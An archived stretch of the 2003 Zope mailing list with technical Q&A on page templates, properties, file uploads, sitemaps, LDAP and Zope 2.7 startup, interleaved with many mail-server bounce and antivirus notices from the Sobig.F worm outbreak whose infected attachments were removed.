> > Returns the title of the page template document, but I need to show > the title property of the folder that contains it. > > Folder (My Folder's Title) > |__ content.htm (a Page Template) > > Ultimately the parent folder would have a title property for each of > several languages. When you mean the folder containing the template, you can reference it as "container". Dieter From dieter at handshake.de Tue Aug 19 22:54:16 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 20 01:44:32 2003 Subject: [Zope] python methods for setting selection lists selected item In-Reply-To: <20030819014737.GA21399@nationoftwo.com> References: <20030819014737.GA21399@nationoftwo.com> Message-ID: <16194.32872.672163.884795@gargle.gargle.HOWL> Jon Fox wrote at 2003-8-18 21:47 -0400: > ... > doc.manage_addProperty('newsFormatOptions', ['StructuredText','xhtml'],\ > 'lines') > doc.manage_addProperty('newsFormat', 'newsFormatOptions', 'selection') > > but how do I assign the proper selection states in a python script? You use "manage_changeProperties" (see the "PropertyManager" API (e.g. in the embedded Online help)). > How do I set or test what the current selection is in the selection? You can use "getProperty" (from the "PropertyManager" API) or simple "doc.yourProperty". Dieter From dieter at handshake.de Tue Aug 19 23:20:40 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 20 01:44:47 2003 Subject: [Zope] get full pathname file from form In-Reply-To: <00fa01c36660$677cc6b0$9700000a@MICHAEL> References: <00fa01c36660$677cc6b0$9700000a@MICHAEL> Message-ID: <16194.34456.655277.993306@gargle.gargle.HOWL> Michael Bleijerveld wrote at 2003-8-19 16:44 +0200: > I want to upload a file with this form. > >
> > NAME="ACTION" > > >
> > To check the size with os.path.getsize(file) I need the filename with the > whole path. > > How can I get this from the form variables ? Others already told you that the client side file path will not help you (as, in general, you will not be able to access the file). When Zope starts to handle your request, ZServer has already uploaded your complete file to a temporary file on your server. Depending on the file size, this can take quite long. You can use the file methods "seek(0,2)" (positions at the end of the file) and "tell()" (returns the current position) to determine the files size. Do not forget to reposition at the start of the file ("seek(0") when you want to process it. Dieter From anithageorge27 at hotmail.com Wed Aug 20 06:45:38 2003 From: anithageorge27 at hotmail.com (Anitha George) Date: Wed Aug 20 02:20:22 2003 Subject: [Zope] Parsing of Page Templates and replicating ZMI Tree Structure Message-ID: Thanks for all your help I have unzipped the files you sent me and I am following your instructions. I wanted to thank you for your reply. I will be replying to you and Zope with my findings on this so all beginners like me can benefit from your knowledge. Thanks again Anitha >From: "Jaroslav Lukesh" >Reply-To: >To: "Anitha George" , >CC: >Subject: Re: [Zope] Parsing of Page Templates and replicating ZMI Tree >Structure >Date: Mon, 18 Aug 2003 13:47:14 +0200 > > > Odesílatel: Anitha George > > I need to create a site Map of my site which needs to be built >dynamically. > > The Site Map needs to consist of all Folders and Sub Folders and Files > > within these folders as well as anchor Tags within each of these files. > >please take look at attachment > >place these two DTML Methods in your zope root > >JL. ><< full_sitemap.tgz >> _________________________________________________________________ STOP MORE SPAM with the new MSN 8 and get 2 months FREE* http://join.msn.com/?page=features/junkmail From POSTMASTER at mail3.rits.idcomnet.no Thu Aug 21 01:36:38 2003 From: POSTMASTER at mail3.rits.idcomnet.no (POSTMASTER@mail3.rits.idcomnet.no) Date: Fri Aug 22 08:27:44 2003 Subject: [Zope] Undeliverable message Message-ID: <200308202238.h7KMcm7W021078@mail4.rits.idcomnet.no> ------- Failure Reasons -------- Address Service: miscellaneous error liv@seatrans.no ------- Returned Message -------- Received: from mail4.rits.idcomnet.no ([195.204.177.95]) by mail3.rits.idcomnet.no (Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) with SMTP id C1256D88.007C2F1F; Thu, 21 Aug 2003 00:36:25 +0200 Received: from mail5.rits.idcomnet.no (mail.nccnorge.no [213.172.193.35]) by mail4.rits.idcomnet.no (8.12.9/8.12.8) with ESMTP id h7KMcX7W021035 for ; Thu, 21 Aug 2003 00:38:33 +0200 Received: from PCKJEMI_OPPL ([62.97.227.98]) by mail5.rits.idcomnet.no (8.12.9/8.12.8) with ESMTP id h7KMcS9T024221 for ; Thu, 21 Aug 2003 00:38:32 +0200 Message-Id: <200308202238.h7KMcS9T024221@mail5.rits.idcomnet.no> From: To: Subject: Re: Wicked screensaver Date: Thu, 21 Aug 2003 0:36:52 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_08AB6DC9" This is a multipart message in MIME format --_NextPart_000_08AB6DC9 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_08AB6DC9-- From POSTMASTER at mail3.rits.idcomnet.no Thu Aug 21 00:39:15 2003 From: POSTMASTER at mail3.rits.idcomnet.no (POSTMASTER@mail3.rits.idcomnet.no) Date: Fri Aug 22 08:28:21 2003 Subject: [Zope] Undeliverable message Message-ID: <200308202141.h7KLfT7W013914@mail4.rits.idcomnet.no> ------- Failure Reasons -------- Address Service: miscellaneous error frank.ingebrigtsen@seatrans.no ------- Returned Message -------- Received: from mail4.rits.idcomnet.no ([195.204.177.95]) by mail3.rits.idcomnet.no (Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) with SMTP id C1256D88.0076DDF0; Wed, 20 Aug 2003 23:38:20 +0200 Received: from mail5.rits.idcomnet.no (mail.nccnorge.no [213.172.193.35]) by mail4.rits.idcomnet.no (8.12.9/8.12.8) with ESMTP id h7KLeS7W013774 for ; Wed, 20 Aug 2003 23:40:28 +0200 Received: from PCKJEMI_OPPL ([62.97.227.98]) by mail5.rits.idcomnet.no (8.12.9/8.12.8) with ESMTP id h7KLeR9T020456 for ; Wed, 20 Aug 2003 23:40:28 +0200 Message-Id: <200308202140.h7KLeR9T020456@mail5.rits.idcomnet.no> From: To: Subject: Re: Details Date: Wed, 20 Aug 2003 23:38:51 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_0876408A" This is a multipart message in MIME format --_NextPart_000_0876408A Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_0876408A-- From POSTMASTER at mail3.rits.idcomnet.no Wed Aug 20 23:40:10 2003 From: POSTMASTER at mail3.rits.idcomnet.no (POSTMASTER@mail3.rits.idcomnet.no) Date: Fri Aug 22 08:28:40 2003 Subject: [Zope] Undeliverable message Message-ID: <200308202042.h7KKgN7a005916@mail4.rits.idcomnet.no> ------- Failure Reasons -------- Address Service: miscellaneous error liv@seatrans.no ------- Returned Message -------- Received: from mail4.rits.idcomnet.no ([195.204.177.95]) by mail3.rits.idcomnet.no (Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) with SMTP id C1256D88.00717569; Wed, 20 Aug 2003 22:39:16 +0200 Received: from mail5.rits.idcomnet.no (mail.nccnorge.no [213.172.193.35]) by mail4.rits.idcomnet.no (8.12.9/8.12.8) with ESMTP id h7KKfN7W005760 for ; Wed, 20 Aug 2003 22:41:24 +0200 Received: from PCKJEMI_OPPL ([62.97.227.98]) by mail5.rits.idcomnet.no (8.12.9/8.12.8) with ESMTP id h7KKfI9T016789 for ; Wed, 20 Aug 2003 22:41:23 +0200 Message-Id: <200308202041.h7KKfI9T016789@mail5.rits.idcomnet.no> From: To: Subject: Re: Details Date: Wed, 20 Aug 2003 22:39:42 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_084028B2" This is a multipart message in MIME format --_NextPart_000_084028B2 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_084028B2-- From MAILER-DAEMON at mail4.rits.idcomnet.no Thu Aug 21 16:16:20 2003 From: MAILER-DAEMON at mail4.rits.idcomnet.no (Mail Delivery Subsystem) Date: Fri Aug 22 08:28:58 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308211316.h7LD1Aje018193@mail4.rits.idcomnet.no> The original message was received at Thu, 21 Aug 2003 14:58:11 +0200 from mail1.rits.idcomnet.no [195.204.177.98] ----- The following addresses had permanent fatal errors ----- (reason: 554 5.4.6 Too many hops) ----- Transcript of session follows ----- 554 5.4.6 Too many hops 26 (25 max): from via localhost, to -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Thank you! Date: Thu, 21 Aug 2003 14:53:48 +0200 Size: 5918 Url: http://lists.zope.org/pipermail/zope/attachments/20030821/0394af65/attachment-0001.eml From dieter at handshake.de Thu Aug 21 21:13:19 2003 From: dieter at handshake.de (Dieter Maurer) Date: Fri Aug 22 08:35:35 2003 Subject: [Zope] [Mailing List] Down? Message-ID: <16197.3007.204024.308413@gargle.gargle.HOWL> Since several days, I do not receive mails from any of the Zope mailing lists. Are they down/broken? Since about the same time, I receive lots of virus messages. Maybe, there is some relation? Dieter From anithageorge27 at hotmail.com Wed Aug 20 07:25:43 2003 From: anithageorge27 at hotmail.com (Anitha George) Date: Fri Aug 22 08:36:06 2003 Subject: [Zope] Reading contents of a Page Template Message-ID: Hi I apologize for Cross posting. I am a beginner on Zope and I was not aware of this.I wil take care to not cross post. ThankYou for pointing this out. I would like to thank you immensely for your reply. I am trying to implement changes you have suggested. I have received mails from other Zope Users as well. I would like to Thank everyone who have replied to my mail. After compiling all information based on the replies I have received I will also send a detailed mail with the understanding I have received on creating a sitemap and also reading through the HTML files. Thanks once again Anitha >From: Dieter Maurer >To: "Anitha George" >CC: zope@zope.org >Subject: Re: [Zope] Reading contents of a Page Template >Date: Mon, 18 Aug 2003 20:18:45 +0200 > >You know that you should not cross post? > >Reply restricted to "zope@zope.org" (where your questions belongs to). > >Anitha George wrote at 2003-8-17 10:59 +0000: > > ... > > I have a requirement to create a SiteMap for my site. > > My site is dynamically built from the Zope tree structure. > > Folder and Sub Folders need to appear as a tree structure and need to >be > > sorted by name and date. > > I have viewed the examples in the Examples folder in ZMI and gotten a > > general Idea of how to get the files within a specific folder. > > But I need to be able to go through the whole set of folders and sub >Folders > > and create the SiteMap and not just for a single folder . > >Is your requirement similar to the left frame in Zope's Management >Interface >(ZMI)? >In this case, you could look at its code (--> "App/dtml/menu.dtml"). >"dtml-tree" allows you to preexpand the complete tree. >But, of course, "dtml-tree" generates an interactive tree, which you >may not want. > >You can use also the tree support of "ZPT" (which is also usable in DTML). >It provides more control over the tree display than "dtml-tree" >(and therefore you can build a non-interactive tree). >It is defined in the package "ZTUtils". >Look at the ZPT examples to learn how to use it. > > > Is there some While- Do Loop which I can use to Loop through till I >reach > > the Lowest rung in a Tree for each and every Folder and create a Site >Map. > >Use a Python Script either to build the complete HTML structure >or to to build an auxiliary structure (e.g. a sequence of (level,obj) >pairs) >and format it in ZPT/DTML. > > > Also Each of these folders has an index_html page template which can be > > linked from the SiteMap that is created. > > Each of the index_html files has a number of anchor tags. > > These Tags are for moving within the Page. > > I need to be able to include these Tage as well in My SiteMap ... > > CAN I GET THESE ANCHOR TAG LINKS ON EACH PAGE BY READING THROUGH THE >CONTENT > > OF EACH OF THESE PAGE TEMPLATES? > >When your tags are "HTML tags", then you would need to parse >their source (and find the tags). This may be a bit expensive. > > > IS THERE SOME OTHER WAY TO DO ALL THESE ??? > >It would be easier when the tags were generated from an easily accessible >structure (e.g. properties of "index_html" or the folder). > > > >Dieter _________________________________________________________________ MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*. http://join.msn.com/?page=features/virus From POSTMASTER at mail3.rits.idcomnet.no Thu Aug 21 23:52:30 2003 From: POSTMASTER at mail3.rits.idcomnet.no (POSTMASTER@mail3.rits.idcomnet.no) Date: Fri Aug 22 08:36:42 2003 Subject: [Zope] Undeliverable message Message-ID: <200308212054.h7LKsejd018369@mail4.rits.idcomnet.no> ------- Failure Reasons -------- Address Service: miscellaneous error christine.molvik@seatrans.no ------- Returned Message -------- Received: from mail4.rits.idcomnet.no ([195.204.177.95]) by mail3.rits.idcomnet.no (Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) with SMTP id C1256D89.00727D6C; Thu, 21 Aug 2003 22:50:32 +0200 Received: from mail5.rits.idcomnet.no (mail.nccnorge.no [213.172.193.35]) by mail4.rits.idcomnet.no (8.12.9/8.12.8) with ESMTP id h7LKqfjd018159 for ; Thu, 21 Aug 2003 22:52:41 +0200 Received: from PCKJEMI_OPPL ([62.97.227.98]) by mail5.rits.idcomnet.no (8.12.9/8.12.8) with ESMTP id h7LKqZDm001391 for ; Thu, 21 Aug 2003 22:52:41 +0200 Message-Id: <200308212052.h7LKqZDm001391@mail5.rits.idcomnet.no> From: To: Subject: Re: Thank you! Date: Thu, 21 Aug 2003 22:51:05 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_0D70F410" This is a multipart message in MIME format --_NextPart_000_0D70F410 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_0D70F410-- From MAILER-DAEMON at cisco.com Tue Aug 19 16:00:25 2003 From: MAILER-DAEMON at cisco.com (Mail Delivery Subsystem) Date: Fri Aug 22 08:37:37 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308192200.h7JM0P1g028147@sj-inbound-1.cisco.com> ------------------ Virus Warning Message (on the network) Found virus WORM_SOBIG.F in file document_9446.pif The uncleanable file is deleted. --------------------------------------------------------- -------------- next part -------------- The original message was received at Tue, 19 Aug 2003 15:00:04 -0700 (PDT) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 552 5.0.0 SOBIG.F Virus outbreak - temp fix - change your subject) (expanded from: ) ----- Transcript of session follows ----- ... while talking to sj-core-5.cisco.com.: >>> DATA <<< 552 5.0.0 SOBIG.F Virus outbreak - temp fix - change your subject 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Re: My details Date: Wed, 20 Aug 2003 0:09:03 +0200 Size: 1012 Url: http://lists.zope.org/pipermail/zope/attachments/20030819/00f8a318/attachment-0001.eml From MAILER-DAEMON at cisco.com Wed Aug 20 03:24:41 2003 From: MAILER-DAEMON at cisco.com (Mail Delivery Subsystem) Date: Fri Aug 22 08:38:05 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308200924.h7K9Of8o020843@sj-inbound-4.cisco.com> The original message was received at Wed, 20 Aug 2003 02:24:31 -0700 (PDT) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 552 5.0.0 SOBIG.F Virus outbreak - temp fix - change your subject) (expanded from: ) ----- Transcript of session follows ----- ... while talking to sj-core-2.cisco.com.: >>> DATA <<< 552 5.0.0 SOBIG.F Virus outbreak - temp fix - change your subject 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Your application Date: Wed, 20 Aug 2003 11:33:33 +0200 Size: 726 Url: http://lists.zope.org/pipermail/zope/attachments/20030820/956e03cc/attachment-0001.eml From MAILER-DAEMON at cisco.com Wed Aug 20 03:50:37 2003 From: MAILER-DAEMON at cisco.com (Mail Delivery Subsystem) Date: Fri Aug 22 08:38:23 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308200950.h7K9ob1g013811@sj-inbound-1.cisco.com> ------------------ Virus Warning Message (on the network) Found virus WORM_SOBIG.F in file details.pif The uncleanable file is deleted. --------------------------------------------------------- -------------- next part -------------- The original message was received at Wed, 20 Aug 2003 02:50:18 -0700 (PDT) from pcx0344.desy.de [131.169.41.50] ----- The following addresses had permanent fatal errors ----- (reason: 552 5.0.0 SOBIG.F Virus outbreak - temp fix - change your subject) (expanded from: ) ----- Transcript of session follows ----- ... while talking to sj-core-2.cisco.com.: >>> DATA <<< 552 5.0.0 SOBIG.F Virus outbreak - temp fix - change your subject 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Wicked screensaver Date: Wed, 20 Aug 2003 11:49:55 +0200 Size: 1173 Url: http://lists.zope.org/pipermail/zope/attachments/20030820/d6b46f55/attachment-0001.eml From MAILER-DAEMON at relay1.tdcnorge.no Fri Aug 22 01:23:29 2003 From: MAILER-DAEMON at relay1.tdcnorge.no (Mail Delivery Subsystem) Date: Fri Aug 22 08:40:26 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308212223.h7LMNT211831@relay1.tdcnorge.no> The original message was received at Fri, 22 Aug 2003 00:23:23 +0200 (MEST) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 550 Requested action aborted: Message may contain a virus.) ----- Transcript of session follows ----- ... while talking to mail.konkurransetilsynet.no.: >>> DATA <<< 550 Requested action aborted: Message may contain a virus. 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: That movie Date: Fri, 22 Aug 2003 0:21:53 +0200 Size: 711 Url: http://lists.zope.org/pipermail/zope/attachments/20030822/35a7dab4/attachment-0001.eml From MAILER-DAEMON at mailgw.lvr.de Thu Aug 21 09:06:51 2003 From: MAILER-DAEMON at mailgw.lvr.de (MAILER-DAEMON@mailgw.lvr.de) Date: Fri Aug 22 08:40:58 2003 Subject: [Zope] Undeliverable mail: Re: Your application Message-ID: Failed to deliver to '' Virus(es) found. movie0045.pif is infected with W32/Sobig.f@MM Viruses: 1 Trojans: 0 Jokes: 0 Tests: 0 Captured by McAfee antivirus plugin running on CommuniGate Pro mail server -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 570 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030821/8193390a/attachment-0001.bin From MAILER-DAEMON at mailgw.lvr.de Thu Aug 21 09:11:42 2003 From: MAILER-DAEMON at mailgw.lvr.de (MAILER-DAEMON@mailgw.lvr.de) Date: Fri Aug 22 08:41:30 2003 Subject: [Zope] Undeliverable mail: Re: Wicked screensaver Message-ID: Failed to deliver to '' Virus(es) found. application.pif is infected with W32/Sobig.f@MM Viruses: 1 Trojans: 0 Jokes: 0 Tests: 0 Captured by McAfee antivirus plugin running on CommuniGate Pro mail server -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 578 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030821/d579face/attachment-0001.bin From chrism at zope.com Fri Aug 22 02:18:34 2003 From: chrism at zope.com (Chris McDonough) Date: Fri Aug 22 08:43:46 2003 Subject: [Zope] zope2.7b1 does not start on winXP In-Reply-To: <1061326343.4522.1.camel@dorothy.zope.com> References: <001201c36629$b027da80$010aa8c0@PCA> <2147483647.1061288922@[10.19.128.17]> <00c101c36669$d4237a80$010aa8c0@PCA> <1061326343.4522.1.camel@dorothy.zope.com> Message-ID: <1061479039.1435.3.camel@james> I'm afraid I can't replicate this. Something on your system is borked, I think. I suspected that Python itself looked for its library in the registry on Windows, but this doesn't appear to be the case. Is it feasible to uninstall Python 2.1 and try it again? On Tue, 2003-08-19 at 16:52, Chris McDonough wrote: > This sounds strange. I will try to install Python 2.1 on my system > alongside of Zope and see if I can replicate it. > > On Tue, 2003-08-19 at 11:42, Elena Schulz wrote: > > Hi Andreas, > > > > > Somehow your installation is borked since Zope 2.7 requires Python 2.2.3 > > > and you > > > are using 2.1.... or so. > > > > yes, it looks like that but my question is, how comes since my runzope.bat > > (my Zope-starter) is configured to use the default zope 2.7 python? > > Is there any use of the registry for the decision which dll's to use? > > > > -- Elena > > > > It looks like this: > > > > @set PYTHON=L:\Zope\Zope27\Zope-2.7.0-b1\bin\python.exe > > @set ZOPE_HOME=L:\Zope\Zope27\Zope-2.7.0-b1 > > @set INSTANCE_HOME=L:\Zope\Zope27\ZopeInstanceFiles > > @set CONFIG_FILE=%INSTANCE_HOME%\etc\zope.conf > > @set PYTHONPATH=%ZOPE_HOME%\lib\python > > @set ZOPE_RUN=%ZOPE_HOME%\lib\python\Zope\Startup\run.py > > "%PYTHON%" "%ZOPE_RUN%" -C "%CONFIG_FILE%" %1 %2 %3 %4 %5 %6 %7 > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://mail.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://mail.zope.org/mailman/listinfo/zope-announce > > http://mail.zope.org/mailman/listinfo/zope-dev ) > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) -- Chris McDonough Zope Corporation From ljmcallister at hotmail.com Thu Aug 21 20:10:27 2003 From: ljmcallister at hotmail.com (Lee J. McAllister) Date: Fri Aug 22 08:45:37 2003 Subject: [Zope] using ExternalFile and Plone Message-ID: Does anyone have any experience using the ExternalFile product in conjunction with Plone? I've successfully made some minor modifications to it (added a few additional properties) and it works fine through the management interface, however I need to allow my users to upload new ExternalFiles without using the ZMI. What appears to be happening is that when attempting to access the manage_addObjectViaGui() function while not in the ZMI zope gives me a 404 error. Since it works fine through the ZMI I'm guessing this is a permissions issue? I'd really appreciate any input or insights on this, it's a big part of a co-op project I'm working on that's coming down to the wire. Lee McAllister ps: thanks to all for the scripting tips the other day _________________________________________________________________ Add photos to your messages with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail From postmaster at sion.com Wed Aug 20 09:58:32 2003 From: postmaster at sion.com (postmaster@sion.com) Date: Fri Aug 22 08:46:18 2003 Subject: [Zope] ATENCION. Usted ha enviado un mail posiblemente infectado Message-ID: <200308201158.h7KBwWpG000901@apu.sion.com> A L E R T A V I R U S Nuestro sistema ha detectado el siguiente VIRUS: W32/Sobig.F@mm [F-Prot] I-Worm.Sobig.f [AVP] I-Worm.Sobig.f [AVP] I-Worm.Sobig.f [AVP] en su mail enviado a: -> fundae@sion.com ------------------------- BEGIN HEADERS ----------------------------- Return-Path: Received: from SERVER ([200.51.216.143]) by apu.sion.com (8.12.8/8.12.8) with ESMTP id h7KBvrxs032260 for ; Wed, 20 Aug 2003 08:57:58 -0300 From: zope@zope.org Message-Id: <200308201157.h7KBvrxs032260@apu.sion.com> To: Subject: Re: Approved Date: Wed, 20 Aug 2003 8:58:05 --0300 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_003716E5" -------------------------- END HEADERS ------------------------------ From MAILER-DAEMON at mail4.rits.idcomnet.no Thu Aug 21 05:42:07 2003 From: MAILER-DAEMON at mail4.rits.idcomnet.no (Mail Delivery Subsystem) Date: Fri Aug 22 08:48:49 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308210242.h7L2g57Y019137@mail4.rits.idcomnet.no> The original message was received at Thu, 21 Aug 2003 04:39:37 +0200 from mail1.rits.idcomnet.no [195.204.177.98] ----- The following addresses had permanent fatal errors ----- (reason: 554 5.4.6 Too many hops) ----- Transcript of session follows ----- 554 5.4.6 Too many hops 26 (25 max): from via localhost, to -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Thank you! Date: Thu, 21 Aug 2003 4:35:07 +0200 Size: 5929 Url: http://lists.zope.org/pipermail/zope/attachments/20030821/68b79c9f/attachment-0001.eml From POSTMASTER at mail3.rits.idcomnet.no Wed Aug 20 19:56:55 2003 From: POSTMASTER at mail3.rits.idcomnet.no (POSTMASTER@mail3.rits.idcomnet.no) Date: Fri Aug 22 08:54:02 2003 Subject: [Zope] Undeliverable message Message-ID: <200308201659.h7KGx87b008122@mail4.rits.idcomnet.no> ------- Failure Reasons -------- Address Service: miscellaneous error trans.carrier@seatrans.no ------- Returned Message -------- Received: from mail4.rits.idcomnet.no ([195.204.177.95]) by mail3.rits.idcomnet.no (Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) with SMTP id C1256D88.005D0465; Wed, 20 Aug 2003 18:55:59 +0200 Received: from mail5.rits.idcomnet.no (mail.nccnorge.no [213.172.193.35]) by mail4.rits.idcomnet.no (8.12.9/8.12.8) with ESMTP id h7KGw67W007962 for ; Wed, 20 Aug 2003 18:58:07 +0200 Received: from PCKJEMI_OPPL ([62.97.227.98]) by mail5.rits.idcomnet.no (8.12.9/8.12.8) with ESMTP id h7KGw69T002676 for ; Wed, 20 Aug 2003 18:58:06 +0200 Message-Id: <200308201658.h7KGw69T002676@mail5.rits.idcomnet.no> From: To: Subject: Re: Wicked screensaver Date: Wed, 20 Aug 2003 18:56:28 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_0773BA08" This is a multipart message in MIME format --_NextPart_000_0773BA08 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_0773BA08-- From MAILER-DAEMON at relay1.tdcnorge.no Thu Aug 21 19:40:41 2003 From: MAILER-DAEMON at relay1.tdcnorge.no (Mail Delivery Subsystem) Date: Fri Aug 22 08:55:31 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308211640.h7LGef206807@relay1.tdcnorge.no> The original message was received at Thu, 21 Aug 2003 18:40:41 +0200 (MEST) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 550 Requested action aborted: Message may contain a virus.) ----- Transcript of session follows ----- ... while talking to mail.konkurransetilsynet.no.: >>> DATA <<< 550 Requested action aborted: Message may contain a virus. 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: That movie Date: Thu, 21 Aug 2003 18:39:09 +0200 Size: 720 Url: http://lists.zope.org/pipermail/zope/attachments/20030821/8c3a0755/attachment.eml From viruswall at hausbank.de Thu Aug 21 18:08:32 2003 From: viruswall at hausbank.de (viruswall@hausbank.de) Date: Fri Aug 22 08:56:52 2003 Subject: [Zope] Virus Alert Message-ID: <20030821150832.B450129AB0@virus.hausbank.de> The mail message (file: wicked_scr.scr) you sent to Henning.Klemptner@hausbank.de contains a virus. (on virus.hausbank.de) From aaltepet at bethel.edu Fri Aug 22 02:39:02 2003 From: aaltepet at bethel.edu (Andrew Altepeter) Date: Fri Aug 22 08:59:37 2003 Subject: [Zope] zldap connections Message-ID: <1061409624.32532.366.camel@aslan.its.bethel.edu> I'm working on an alumni directory for the college, which uses openldap as the directory service. We are using acl's to restrict which attributes user have access to based on their context (staff, student, alumni, guest, etc). This means that the alumni directory needs to bind to ldap as each user. We want to use zldap, but the Ldap Connection object creates a connection, bound as one user. Is it possible to have 'dynamic' ldap connections (and use the rest of the zldap package), ones where you can re-bind as another user? Or is there some other (better) way to do this? I've seen other products out there which allow this by using an ldap user folder, however we have a custom user folder that integrates with our institutions single sign-on server, so that won't work (and we have a different method of retrieving a users password). Any help would be great! Thanks! Andy Altepeter Web Developer Bethel College & Seminary From anithageorge27 at hotmail.com Wed Aug 20 07:29:19 2003 From: anithageorge27 at hotmail.com (Anitha George) Date: Fri Aug 22 09:00:12 2003 Subject: [Zope] Re: [Zope-dev] Reading contents of a Page Template Message-ID: Hi I have not completely finished implementing all changes as suggested by Mr.Cameroon. I thank you very much for your advice regarding item/isPrincipiaFolderish I have recieved other replies to my mail as well. Thank you for taking your time to give advice. Once I am able to test these different suggestions I will be able to mail back to Zope with a solution taking into consideration all help I have received from everyone. thanks once again Anitha >From: Paul Winkler >To: zope-dev@zope.org >Subject: Re: [Zope-dev] Reading contents of a Page Template >Date: Mon, 18 Aug 2003 20:12:03 -0400 > >On Mon, Aug 18, 2003 at 03:05:44PM -0500, J Cameron Cooper wrote: > > The condition check is pretty primitive. Probably a better one would > > check for the presence of the objectValues method like > > > > tal:define="folderish nocall:item/objectValues" > > tal:condition="folderish | nothing" > >That won't work as intended, you'll usually be able to acquire >objectValues from the parent folder. > >You might instead try: >tal:condition="item/isPrincipiaFolderish | nothing" > >-- > >Paul Winkler >http://www.slinkp.com >Look! Up in the sky! It's GEORGE ULTRA PENIS! >(random hero from isometric.spaceninja.com) > >_______________________________________________ >Zope-Dev maillist - Zope-Dev@zope.org >http://mail.zope.org/mailman/listinfo/zope-dev >** No cross posts or HTML encoding! ** >(Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope ) _________________________________________________________________ Protect your PC - get McAfee.com VirusScan Online http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 From MAILER-DAEMON at relay2.tdcnorge.no Thu Aug 21 03:31:21 2003 From: MAILER-DAEMON at relay2.tdcnorge.no (Mail Delivery Subsystem) Date: Fri Aug 22 09:00:57 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308210031.h7L0VLp14242@relay2.tdcnorge.no> The original message was received at Thu, 21 Aug 2003 02:31:17 +0200 (MEST) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 550 Requested action aborted: Message may contain a virus.) ----- Transcript of session follows ----- ... while talking to mail.konkurransetilsynet.no.: >>> DATA <<< 550 Requested action aborted: Message may contain a virus. 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Details Date: Thu, 21 Aug 2003 2:29:41 +0200 Size: 716 Url: http://lists.zope.org/pipermail/zope/attachments/20030821/d94ee841/attachment.eml From POSTMASTER at mail3.rits.idcomnet.no Wed Aug 20 18:59:05 2003 From: POSTMASTER at mail3.rits.idcomnet.no (POSTMASTER@mail3.rits.idcomnet.no) Date: Fri Aug 22 09:11:37 2003 Subject: [Zope] Undeliverable message Message-ID: <200308201601.h7KG1R7d031279@mail4.rits.idcomnet.no> ------- Failure Reasons -------- Address 